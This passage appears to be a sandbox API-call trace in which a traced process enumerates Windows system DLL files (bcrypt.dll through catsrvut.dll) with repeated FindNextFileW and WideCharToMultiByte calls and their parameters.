cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x1d3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x1d3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.860] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.861] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.861] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.861] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x1d3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x1d3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.862] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x1d3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte 